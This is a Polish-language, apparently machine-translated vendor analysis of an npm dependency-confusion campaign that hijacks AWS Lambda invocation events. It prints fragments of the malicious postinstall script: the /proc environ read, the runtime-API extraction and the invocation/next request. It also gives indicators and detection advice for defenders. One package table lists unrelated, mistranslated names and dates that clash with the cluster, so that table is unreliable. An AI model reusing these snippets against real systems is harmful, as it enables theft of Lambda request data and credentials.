Atak AWS Lambda npm Dependency Confusion Campaign 24712-pl

Atak AWS Lambda npm Dependency Confusion: Kampania 24712-pl

TL; DR

W okresie od 6 do 7 maja 2026 r. jeden wydawca npm, pelavelle, wprowadzono osiem pakietów o zerowej zależności, używając nazw zgodnych z tym samym wzorcem wewnętrznym: 24712-pl*.

Pakiety zawierały 24712-pl3469, 24712-pl4712, 24712-pl5006, 24712-plv2, 24712-plv3. Prefiks numeryczny zdecydowanie sugeruje atak polegający na pomyłce zależności npm względem wewnętrznej przestrzeni nazw pakietu lub schematu identyfikatora pakietu.

Wszystkie osiem pakietów siostrzanych zostało już wycofanych z publikacji w npm przez wydawcę pomiędzy 2026-05-06T21:52Z oraz 2026-05-07T00:31ZBezpośrednie metadane rejestru potwierdziły, że pliki tarball zwracają teraz błąd HTTP 404.

Jednakże klaster nadal ma znaczenie.

Próba kanoniczna, 24712-pl5006:0.0.1, zawiera postinstall.js skrypt, który uruchamia się podczas npm installZamiast kraść ogólne zmienne środowiskowe, szuka konkretnie AWS_LAMBDA_RUNTIME_API, zmienna środowiskowa używana przez środowiska wykonawcze AWS Lambda.

Jeśli skrypt znajdzie AWS_LAMBDA_RUNTIME_API, wywołuje punkt końcowy API Lambda Runtime:

Ścieżka API środowiska wykonawczego Lambda /2018-06-01/runtime/invocation/next

To wywołanie próbuje przetworzyć kolejne oczekujące zdarzenie wywołania funkcji Lambda zanim uprawniony moduł obsługi funkcji Lambda będzie mógł je przetworzyć.

Przechwycone zdarzenie, w tym nagłówki, identyfikator żądania, kontekst konta i do 8 KB treści żądania, jest następnie wysyłane do kontrolowanego przez atakującego punktu końcowego telefonicznego za pośrednictwem skryptu phoneHome() funkcja.

System wczesnego ostrzegania przed złośliwym oprogramowaniem (MEW) firmy Xygeni sklasyfikował próbkę kanoniczną jako prawdopodobnie złośliwą, uzyskując wynik 91.3/100.

Śledzimy to jako atak polegający na pomyłce zależności npm z zachowaniem przejęcia środowiska wykonawczego AWS Lambda.

Klaster: osiem pakietów, jeden wydawca

Konto wydawcy pelavelle użył adresu e-mail:

				
					pelavelle@clovercode.com
				
			

Konto miało niezweryfikowany adres e-mail, nie SCM weryfikacji i niskiej oceny reputacji wynoszącej 5.

Wydawca udostępnił osiem powiązanych pakietów w krótkim czasie między 20:45 a 22:36 6 maja 2026 roku. Nazwy wszystkich pakietów mają ten sam kształt:

				
					24712-pl*
				
			
 

Ten wzór jest kluczowym sygnałem. Nie wygląda na publiczne narzędzie dla programistów. Wygląda raczej na wewnętrzny schemat nazewnictwa pakietów.

#PakietWersja złośliwaUtworzono, UTCNiepublikowane, UTCPotwierdzono ładunekZainstaluj hak
1badacz kosmosu1.1.32026-05-01T18:26Z2026-05-01T19:01ZWywnioskowano, ten sam wydawca / klasterpreinstalować, przypuszczalnie
2sygnałydk-web1.0.0, 10.0.02026-05-04T13:57Z2026-05-04T18:51ZWnioskowanepreinstalować, przypuszczalnie
3ms.analytics-web99.0.0, 99.9.132026-05-04T18:47Z2026-05-05T10:07ZWnioskowanepreinstalować, przypuszczalnie
4ikony.wygenerowane99.9.132026-05-05T10:02Z2026-05-05T12:57ZWnioskowanepreinstalować, przypuszczalnie
5śledzenie opóźnień99.9.02026-05-05T11:57Z2026-05-05T12:57ZWnioskowanepreinstalować, przypuszczalnie
6śledzenie opóźnień wewnętrznychWersje usunięte z rejestru2026-05-06T06:02Z2026-05-06T08:35ZWnioskowanepreinstalować, przypuszczalnie
7carboniteapp99.9.02026-05-06T05:49Z2026-05-06T08:35ZTak, pełny przepływ kodu skanerapreinstalacja: węzeł index.js
8karbonit-wewnętrzny99.9.02026-05-06T06:14Z2026-05-06T08:36ZTak, pełny przepływ kodu skanerapreinstalacja: węzeł index.js

Łączna liczba wersji w klastrze: 19 krotek wersji pakietu.

Próba kanoniczna, 24712-pl5006:0.0.1, został opublikowany 2026-05-06T22:36:34Z i zeskanowany przez MEW firmy Xygeni pipeline przed zdarzeniem cofnięcia publikacji.

Zawierał cztery pliki, w tym: package/postinstall.js, z 3,335 bajtami całkowitego kodu źródłowego.

Kanoniczny commit hash wynosił:

				
					83e0efbfd110abb2398a06196fb698565a3f6cc6
				
			

Dlaczego wzór nazwy ma znaczenie

Nazwy pakietów są najsilniejszym wskaźnikiem intencji.

Wszystkie zaczynają się od tego samego prefiksu:

				
					24712-pl
				
			

Następnie dodają sufiksy numeryczne lub określające wersję:

				
					24712-pl3469
24712-pl4712
24712-pl4713
24712-pl5004
24712-pl5005
24712-pl5006
24712-plv2
24712-plv3
				
			

To nie przypomina normalnego publicznego nazewnictwa npm. Wygląda jak wewnętrzny prefiks przestrzeni nazw lub wewnętrzny schemat identyfikatorów pakietów.

Dzięki temu klaster jest spójny z atak polegający na pomyłce zależności npm.

W ataku polegającym na pomyłce zależności atakujący publikuje pakiet publiczny o nazwie, która pasuje lub wydaje się pasować do zależności wewnętrznej. Jeśli menedżer pakietów lub środowisko kompilacji celu rozpozna pakiet publiczny zamiast prywatnego, kod kontrolowany przez atakującego zostanie uruchomiony w środowisku docelowym.

OWASP opisuje pomyłkę zależności jako wektor ataku, który oszukuje menedżerów pakietów i serwery proxy, powodując pobranie złośliwego pakietu publicznego zamiast zamierzonego pakietu wewnętrznego o tej samej nazwie.

Aby uzyskać głębszy kontekst dotyczący działania tej klasy ataków, zapoznaj się z przewodnikiem Xygeni na temat brak przypinania wersji i zamieszanie związane z zależnościami i nasz post na identyfikowanie i zarządzanie atakami na zależności oprogramowania.

Co dzieje się podczas instalacji

Pakiet kanoniczny deklaruje postinstall hak:

				
					{
  "scripts": {
    "postinstall": "node postinstall.js || true"
  }
}
				
			

postinstall Cykl życia jest częścią systemu skryptów pakietów npm. Dokumentacja npm wyjaśnia, że ​​pakiety mogą definiować skrypty cyklu życia w package.json, w tym wbudowane zdarzenia cyklu życia instalacji.

|| true jest ważne.

Przechwytuje błędy, dzięki czemu instalacja i tak powiedzie się, nawet jeśli przejęcie kontroli się nie powiedzie. Pomaga to pakietowi uniknąć problemów z kompilacją i zmniejsza ryzyko, że programiści lub systemy CI zauważą złośliwe zachowanie w przypadku nieudanej instalacji.

Ładunek działa podczas npm install. Nie jest wymagany import deweloperski. Żadna ścieżka aplikacji nie musi wywoływać pakietu.

Sama instalacja wystarczy.

Zachowanie ładunku: przejęcie kontroli nad środowiskiem wykonawczym Lambda

postinstall.js Skrypt wykonuje określoną sekwencję.

Najpierw odczytuje środowisko procesu nadrzędnego z systemu Linux /proc:

				
					const raw = fs.readFileSync(`/proc/${pid}/environ`, 'utf8');
				
			

Następnie wyodrębnia punkt końcowy środowiska wykonawczego AWS Lambda:

				
					const match = raw.match(/AWS_LAMBDA_RUNTIME_API=([^\0]+)/);
				
			

Jeśli środowisko wykonawcze API zostanie znalezione, skrypt je zapisze:

				
					runtimeApi = match[1];
				
			

Następnie wysyła pierwszy sygnał radiowy phoneHome():

				
					await phoneHome({ step: 'waiting', runtimeApi, ts: ... });
				
			

Pierwszy sygnał ujawnia punkt końcowy interfejsu API środowiska wykonawczego Lambda.

Następnie skrypt analizuje host i port interfejsu API środowiska wykonawczego:

				
					const [host, portStr] = runtimeApi.split(':');
				
			
 

Na koniec wywołuje ścieżkę API AWS Lambda Runtime używaną do pobrania następnego wywołania:

				
					http.request({
  host,
  port,
  path: '/2018-06-01/runtime/invocation/next',
  method: 'GET',
  timeout: 90000
}, ...);
				
			

To jest sedno ataku.

Skrypt próbuje pobrać zdarzenie kolejnego wywołania Lambda, zanim uprawniony moduł obsługi Lambda będzie mógł je przetworzyć. Przewodnik po środowisku uruchomieniowym AWS opisuje również krok „pobierz zdarzenie” jako wywołanie interfejsu API kolejnego wywołania.

Co zostaje wyeksfiltrowane

Jeśli skrypt przechwyci wywołanie, wysyła wynik do kontrolowanego przez atakującego punktu końcowego telefonu domowego.

Wyeksfiltrowane pola obejmują:

PoleZnaczenie
stepEtap realizacji, taki jak waiting, next_errorlub captured
runtimeApiPunkt końcowy interfejsu API środowiska wykonawczego Lambda
accountSidPrzechwycony kontekst konta AWS
requestIdIdentyfikator żądania wywołania Lambda
isOwnAccountPorównanie wartości logicznych ze skonfigurowaną wartością konta skryptu
statusCodeStatus odpowiedzi interfejsu API środowiska wykonawczego
headersNagłówki odpowiedzi wywołania
bodyPrzechwycony tekst wywołania, pocięty na 8,000 znaków

Kluczowym wezwaniem do eksfiltracji jest phoneHome(data) funkcja, która koduje dane w formacie JSON i wysyła je za pomocą żądania HTTP POST.

Dokładny adres URL docelowy połączenia telefonicznego nie został zachowany w dostępnych, skróconych dowodach. Dlatego npm powinien zachować wewnętrznie nieopublikowany plik tarball, aby można było wyodrębnić literał hosta C2 przed sfinalizowaniem usuwania.

Dlaczego to jest niebezpieczne

To nie jest ogólny sygnał npm.

Ładunek jest zaprojektowany wokół AWS Lambda model wykonania.

Jeśli podatny na ataki pakiet zostanie zainstalowany w środowisku wykonawczym Lambda, na przykład podczas kompilacji obrazu wdrożenia, instalacji warstwy Lambda lub procesu opakowania init, środowisko może narazić AWS_LAMBDA_RUNTIME_API.

Gdy skrypt ma już tę wartość, może wywołać:

				
					/2018-06-01/runtime/invocation/next
				
			

Ten punkt końcowy zwraca następne oczekujące zdarzenie wywołania.

W rezultacie atakujący może być w stanie przechwycić:

  • Treści żądania
  • Nagłówki
  • Identyfikatory żądań
  • Kontekst konta AWS
  • Podpisane dane żądania
  • Dane osobowe klienta
  • Dane zdarzeń S3
  • Ładunki specyficzne dla aplikacji
  • Kontekst usługi wewnętrznej

Uprawniony obiekt obsługujący zdarzenie może nigdy go nie zobaczyć.

Zmienia to skrypt instalacyjny npm w prymitywną operację przechwytywania zdarzeń Lambda.

Nawet jeśli pakiet nigdy nie trafi do rzeczywistego środowiska Lambda, jego zachowanie może nadal powodować wyciek użytecznego kontekstu z systemów deweloperskich lub CI. /proc/<pid>/environ może ujawnić zmienne środowiskowe obecne w procesach nadrzędnych, które mogą obejmować klucze AWS, adresy URL baz danych, tokeny CI lub poświadczenia wdrożenia.

Dlatego skanowanie zależności nie może kończyć się na znanych lukach CVE. Zespoły potrzebują również wykrywania złośliwych pakietów, analizy skryptów instalacyjnych i egzekwowania zasad rejestru. Aby uzyskać powiązane wskazówki, przeczytaj Dlaczego skanowanie zależności ma znaczenie dla zespołów DevOps oraz Ochrona przed złośliwym oprogramowaniem: Dlaczego oprogramowanie antywirusowe nie jest w stanie powstrzymać ataków na łańcuch dostaw.

Klasyfikacja MEW Xygeni

Xygeni MEW przeskanowało próbkę kanoniczną 24712-pl5006:0.0.1 przed zdarzeniem cofnięcia publikacji.

Skaner zwrócił:

				
					91.3 / 100
probablyMalicious
threshold: 80
				
			

Dowody obejmowały trzy elementy krytyczne i jeden element istotny, potwierdzające przejęcie przepływu danych przez środowisko wykonawcze Lambda.

DotkliwośćDowódZnaczenie
Krytyczny/proc/<pid>/environ czytaćOdczytuje środowisko procesu nadrzędnego
KrytycznyAWS_LAMBDA_RUNTIME_API ekstrakcjaCeluje w punkt końcowy środowiska wykonawczego Lambda
Krytyczny/runtime/invocation/next zażądaćPróbuje wykorzystać prawdziwe zdarzenie wywołania Lambda
Wysoki postinstall scenariuszDziała podczas instalacji npm

To zachowanie jest bardzo specyficzne i ma duży wpływ. Pakiet nie potrzebuje rozbudowanych funkcji złośliwego oprogramowania, ponieważ punkt końcowy środowiska wykonawczego Lambda jest już silnym celem.

Xygeni MEW został zaprojektowany do tego typu zastosowań: wykrywania podejrzanego i złośliwego zachowania pakietów, zanim stanie się ono incydentem. Aby uzyskać szerszy obraz aktualnych wzorców zagrożeń npm i PyPI, zobacz: Bliższe spojrzenie na ataki na łańcuch dostaw oprogramowania w 2025 r..

Dlaczego wzorzec samodzielnego wycofania publikacji ma znaczenie

Wszystkie osiem pakietów zostało wycofanych z publikacji przez wydawcę w krótkim czasie.

Takie zachowanie jest podejrzane w tym kontekście.

Klaster pojawił się, został uruchomiony, jeśli został wybrany przez podatną ścieżkę rozwiązywania zależności, a następnie zniknął. Jest to zgodne z czyszczeniem przez atakującego po pomyślnym lub przerwanym dowodzie koncepcji albo po zauważeniu problemu przez organizację docelową.

Cofnięcie publikacji powoduje lukę widoczności dla obrońców.

Publiczne dane npm mogą już nie zawierać plików tarball. Niektórych wersji pakietów nie można ponownie pobrać. Jednak w środowiskach, których dotyczy problem, mogą nadal znajdować się kopie w pamięci podręcznej, odwołania do plików blokady, logi CI lub artefakty menedżera pakietów.

Dlatego tak ważne jest zachowanie danych w rejestrze.

npm powinien zachować nieopublikowane pliki tarball wewnętrznie na tyle długo, aby wyodrębnić dokładny adres URL phone-home, potwierdzić tożsamość równorzędnego ładunku i zapewnić obsługę reagowania na incydenty.

Wskaźniki naruszenia i wykrycia

Wydawca i konto

PoleWartość:
nazwa użytkownika npmpelavelle
adres e-mail wydawcy npmpelavelle@clovercode.com
Zweryfikowano adres e-mailNie
SCM zweryfikowanaNie
Wynik reputacji wydawcy5
Wzorzec nazewnictwa pakietów^24712-pl[0-9a-z]+$
Prefiks wewnętrznej przestrzeni nazw24712-pl

Nazwy pakietów, których to dotyczy

				
					24712-pl3469
24712-pl4712
24712-pl4713
24712-pl5004
24712-pl5005
24712-pl5006
24712-plv2
24712-plv3
				
			

Próbka kanoniczna

 
PoleWartość:
Pakiet24712-pl5006
Wersja0.0.1
Opublikowany2026-05-06T22:36:34Z
Commit haszysz83e0efbfd110abb2398a06196fb698565a3f6cc6
UUID skanowania Xygenif80e4244-86d2-4a58-be59-7c56988a0f9f
Wynik91.3 / 100
WerdyktprobablyMalicious

Zainstaluj hak

				
					{
  "scripts": {
    "postinstall": "node postinstall.js || true"
  }
}
				
			

Wskaźniki czasu wykonania Lambda

Wyeksfiltrowane pola ładunków

				
					step
runtimeApi
accountSid
requestId
isOwnAccount
statusCode
headers
body
				
			

Treść została podzielona na 8,000 znaków.

Notatki dotyczące wykrywania

Można to wychwycić kilkoma zasadami atak polegający na pomyłce zależności npm i prawdopodobnych wariantów.

Najpierw oznacz skrypty instalacyjne npm, które odczytują środowisko procesu nadrzędnego z /proc:

				
					/proc/<pid>/environ
				
			

Rzadko kiedy jest to zgodne z prawem zachowanie zależności npm podczas instalacji.

Po drugie, zwróć uwagę na skrypty instalacyjne pakietów, które odwołują się do:

				
					AWS_LAMBDA_RUNTIME_API
				
			

Ta zmienna środowiskowa nie powinna być dostępna dla pakietów npm innych firm podczas instalacji.

Po trzecie, zablokuj lub przejrzyj skrypty instalacyjne, które wywołują:

				
					/2018-06-01/runtime/invocation/next
				
			

To jest punkt końcowy interfejsu API środowiska wykonawczego AWS Lambda, który służy do odbierania kolejnego wywołania. Skrypt instalacyjny zależności nie ma uzasadnionego powodu, aby go użyć.

Po czwarte, poszukaj odniesień do nazw pakietów, których to dotyczy, w plikach blokujących:

				
					package-lock.json
yarn.lock
pnpm-lock.yaml
npm-shrinkwrap.json
				
			

Każde dopasowanie powinno skutkować przeglądem zależności.

Po piąte, zwróć uwagę na wyrażenie regularne nazwy pakietu:

				
					^24712-pl[0-9a-z]+$
				
			

szczególnie gdy wydawcą jest podmiot publiczny, o złej reputacji, niezweryfikowany lub znajdujący się poza oczekiwanym wewnętrznym rejestrem.

Na koniec dodaj CI/CD guardrails wokół skryptów instalacyjnych. Jest to szczególnie ważne, ponieważ skrypty cyklu życia npm mogą być wykonywane podczas instalacji pakietów, zanim programiści cokolwiek zaimportują. Więcej informacji na ten temat CI/CD wzorce wykrywania, patrz Xygeni 10 najważniejszych wskaźników zagrożenia w CI/CD Pipelines oraz Ochrona Guardrails dla CI/CD Pipelines.

Sugerowane działania rejestru

Opublikowanie tego klastra zostało już cofnięte w momencie raportowania, jednak cofnięcie publikacji nie eliminuje ryzyka.

Zalecane działania po stronie npm:

  • Sprawdź, czy cofnięcie publikacji było działaniem inicjowanym przez atakującego, czy też normalnym działaniem administratora.
  • Zawieś lub zablokuj konto wydawcy pelavelle.
  • Dodaj pelavelle@clovercode.com, nazwy pakietów i wyrażenia regularne nazw pakietów do list blokujących nadużyć npm i łańcucha dostaw.
  • Zachowaj nieopublikowane pliki tarball w pamięci wewnętrznej na potrzeby analiz kryminalistycznych.
  • Wyodrębnij dokładnie phoneHome() adres URL docelowy z zachowanych plików tarball.
  • Sprawdź, czy wszystkie pakiety podrzędne współdzielą ten sam ładunek.
  • Jeśli dane telemetryczne dotyczące pobierania lub instalacji pakietu wskazują na narażenie na niebezpieczeństwo, należy powiadomić organizacje, których to dotyczy.

Lista kontrolna reakcji na kompromisy

Jeśli jakikolwiek pakiet, którego to dotyczy, pojawił się w plikach blokady, dziennikach CI, pamięciach podręcznych pakietów, warstwach Lambda, obrazach wdrożeniowych lub artefaktach kompilacji, należy to potraktować jako potencjalne zdarzenie wykonawcze mogące powodować pomieszanie zależności.

Zalecana odpowiedź:

  • Określ miejsce zainstalowania pakietu: na lokalnej stacji roboczej, w module uruchamiającym CI, w kompilacji warstwy Lambda, w obrazie wdrożenia lub w środowisku wykonawczym.
  • Zachowaj pliki blokad, pamięć podręczną npm, dzienniki kompilacji, artefakty wdrożenia i warstwy obrazu kontenera.
  • Sprawdź, czy instalacja miała miejsce w środowisku, w którym AWS_LAMBDA_RUNTIME_API było ustawione.
  • Przejrzyj dzienniki HTTP wychodzące w poszukiwaniu nieznanych phoneHome() miejsca docelowe podczas okna instalacji.
  • Przeprowadź audyt dzienników wywołań Lambda pod kątem porzuconych, brakujących lub nietypowych zdarzeń.
  • Rotuj sekrety udostępniane środowisku instalacyjnemu, zwłaszcza klucze AWS, tokeny CI, dane uwierzytelniające wdrożenia i adresy URL bazy danych.
  • Przejrzyj warstwy Lambda i obrazy wdrożeniowe w celu znalezienia kopii pakietu w pamięci podręcznej.
  • Wymuś przypinanie prywatnego rejestru dla wewnętrznych prefiksów pakietów.
  • Blokuje publiczne rozwiązywanie nazw pakietów npm w przypadku nazw wewnętrznych.
  • Dodaj guardrails dla preinstall, install, postinstall skrypty.

Jak Xygeni pomaga wykryć to wcześniej

Ta kampania to dokładnie ten rodzaj przypadku, w którym zespoły ds. bezpieczeństwa muszą zrobić coś więcej niż tylko stosować tradycyjne skanowanie w poszukiwaniu luk w zabezpieczeniach.

Może nie być CVE. Możliwe, że nie istnieje znana podatna wersja. Po oczyszczeniu systemu przez wydawcę może nie być dostępnego pakietu o długim okresie istnienia do sprawdzenia.

Zamiast tego zespołom potrzebny jest wgląd w zachowanie pakietu w czasie rzeczywistym.

Xygeni pomaga poprzez połączenie:

  • Wczesne wykrywanie złośliwego oprogramowania w rejestrach publicznych.
  • Wykrywanie podejrzanych zależności pod kątem pomyłek i typosquattingu.
  • Analiza skryptu instalacyjnego dla preinstall, install, postinstall zachowania
  • CI/CD guardrails aby zablokować ryzykowne pakiety zanim dotrą do środowisk kompilacji lub wdrożenia.
  • Przejrzystość łańcucha dostaw oprogramowania w zależnościach, pipelinei artefakty.
  • Egzekwowanie zasad dotyczących nazw pakietów wewnętrznych i niezaufanych pakietów publicznych.

To ma znaczenie, ponieważ wpływ atak polegający na pomyłce zależności npm Nie ogranicza się do laptopów programistów. Może docierać do modułów CI, obrazów kompilacji, warstw Lambda, kontenerów wdrożeniowych i środowisk sąsiadujących ze środowiskiem wykonawczym.

Aby zapoznać się ze szerszym kontekstem AppSec i łańcucha dostaw, zobacz Poza SCA:Zabezpieczanie łańcucha dostaw oprogramowania oraz Software Supply Chain Security Automatyzacja.

Co obrońcy powinni wynieść

Ta kampania pokazuje, w jaki sposób problem niejasności dotyczących zależności może wykroczyć poza podstawowe sygnały potwierdzające wykonanie.

Ładunek nie tylko to potwierdza npm install Został uruchomiony. Próbuje nawiązać interakcję z interfejsem API środowiska uruchomieniowego AWS Lambda i przechwycić rzeczywiste zdarzenie wywołania.

To jest znacząca eskalacja.

W przypadku zespołów korzystających z rozwiązań bezserwerowych rozwiązywanie zależności jest częścią modelu zagrożeń w czasie wykonywania. Publiczny pakiet npm o nazwie przypominającej wewnętrzną może stać się ścieżką do kontekstu wykonania Lambda, danych żądań i metadanych konta w chmurze.

Główna lekcja jest jasna: wewnętrzne prefiksy pakietów muszą być chronione, ograniczone zakresem i przypięte do zaufanych rejestrów. Skrypty instalacyjne należy traktować jako wykonywalną powierzchnię ataku, szczególnie w… CI/CD, kompilacje kontenerów, warstwy Lambda i wdrażanie pipelines.

CISWytyczne A dotyczące łańcucha dostaw oprogramowania podkreślają potrzebę ochrony oprogramowania, stosowania kontroli bezpieczeństwa i ciągłego reagowania na luki w zabezpieczeniach w całym procesie rozwoju. W tym przypadku oznacza to traktowanie rozwiązywania problemów z pakietami, skryptów pakietów i bezserwerowych środowisk kompilacji jako pierwszorzędnych mechanizmów bezpieczeństwa.

Zgłoszono do npm w celu egzekwowania na poziomie konta, umieszczenia na czarnej liście i zachowania nieopublikowanego pliku tarball.

sca-tools-oprogramowanie-narzędzia-analizy-kompozycji
Określ priorytety, rozwiąż problemy i zabezpiecz zagrożenia związane z oprogramowaniem
Załóż darmowe konto.
Nie wymagamy karty kredytowej.

Zabezpiecz rozwój i dostarczanie oprogramowania

z pakietem produktów Xygeni